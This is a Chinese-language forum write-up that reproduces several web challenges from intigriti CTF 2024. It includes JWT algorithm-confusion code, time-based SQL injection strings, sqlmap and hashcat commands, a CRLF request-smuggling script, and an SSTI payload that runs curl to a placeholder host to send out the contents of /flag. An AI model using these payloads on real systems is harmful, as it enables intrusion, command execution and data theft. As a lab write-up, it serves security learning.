intigriti CTF 2024 部分WEB 复现
Arcueid 发表于 浙江 CTF 146浏览 · 2024-11-21 11:13

Pizza Paradise

存在robots.txt

访问后发现前端会先验证账号密码 成功才往后端传

拿到hash 本地爆破

登录后提供了一个下载文件的功能 存在路径穿越

BioCorp

panel.php 存在xxe

通过添加请求头过验证

X-Biocorp-Vpn: 80.187.61.102

Cat Club

审一下js

考虑到这题要rce

可以考虑组件的历史漏洞之类的

这里发现ssti

用户名可控 但是注册处限制了只能字母数字

那么就要伪造jwt了 附件提供的公钥私钥与服务端不同

服务端提供了jwks.json

尝试将RS256转HS256 并用公钥签名

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import base64



json_key = {
    "keys": [
        {
            "kty": "RSA",
            "n": "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
            "e": "AQAB",
            "alg": "RS256",
            "use": "sig"
        }
    ]
}

key_data = json_key["keys"][0]
n = int.from_bytes(base64.urlsafe_b64decode(key_data["n"] + "=="), "big")
e = int.from_bytes(base64.urlsafe_b64decode(key_data["e"] + "=="), "big")

public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key()

pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

with open("pubkey.pem", "wb") as f:
    f.write(pem)

shell没弹出来 尝试外带

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl http://xxxxxx:9000/?res=$(cat /flag*)')}()}

Fruitables

很多交互都是没实现的 扫目录扫到account.php cert.php

account.php处提供了一个注册功能 但是未开放

报错语句可控 尝试了一下php的几个ssti未成功

username存在sql注入

通过如下sql语句判断数据库

1' OR IF(1=1, SLEEP(5), 0)='1
1' OR (SELECT current_database())='1
1' OR 1=1 AND sqlite_version()='1

postgresql

没waf 通过sqlmap跑出账号密码

python sqlmap.py -u "https://fruitables-2.ctf.intigriti.io/auth/fruitables_login.php" --dbms="PostgreSQL" --technique=T --data="username=123&password=123" -p "username" --dump --time-sec 3

hashcat.exe -a 0 -m 3200 1.hash rockyou.txt

登录进去

tjfry_admin
futurama

有一个文件上传的功能

白名单是基于文件头的 可以绕

Greetings

后端有三个语言

admin password为参数访问flask的 /flag路由即可获得flag

服务开在5000端口

80端口的php服务 以访问3000端口的node服务

php禁了http file协议 尝试通过伪协议访问

但是这样不能指定请求头和POST的参数

考虑其它的context

fopen存在CRLF注入可以请求走私

https://bugs.php.net/bug.php?id=81690&edit=1

通过ftp的代理来访问5000端口的/flag路由

import requests

url = "https://greetings.ctf.intigriti.io"

res = requests.post(
    url,
    data={
        "name": "/flag HTTP/1.1\r\npassword: admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 14\r\n\r\nusername=admin",
        "hello": "1",
        "protocol": "ftp",
        'options': '{"ftp":{"proxy":"tcp://127.0.0.1:5000"}}'
    }
)
print(res.text)

0 条评论
某人
表情
可输入 255
目录